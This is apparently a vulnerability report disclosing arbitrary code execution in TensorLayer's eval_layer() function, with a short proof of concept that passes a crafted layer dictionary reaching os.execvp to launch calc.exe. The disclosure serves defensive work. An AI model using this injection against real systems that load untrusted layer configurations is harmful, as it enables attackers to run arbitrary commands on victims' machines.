Code Injection in tensorlayer/tensorlayer

Valid

Reported on

Jan 26th 2021


Description

TensorLayer is a novel TensorFlow-based deep learning and reinforcement learning library designed for researchers and engineers. It provides an extensive collection of customizable neural layers to build advanced AI models quickly. This package is vulnerable to Arbitrary Code Execution.

Vulnerability

Use of eval() in eval_layer() function without escaping causes execution of system commands

Proof of Concept

Installation

pip install tensorflow
pip install tensorlayer

Run exploit.py

from tensorlayer.files.utils import eval_layer

eval_layer({'class': 'utils.np.os.execvp', 'args': {'layer_type': 'normal', 'file': 'calc.exe', 'args': ['0']}})
to join this conversation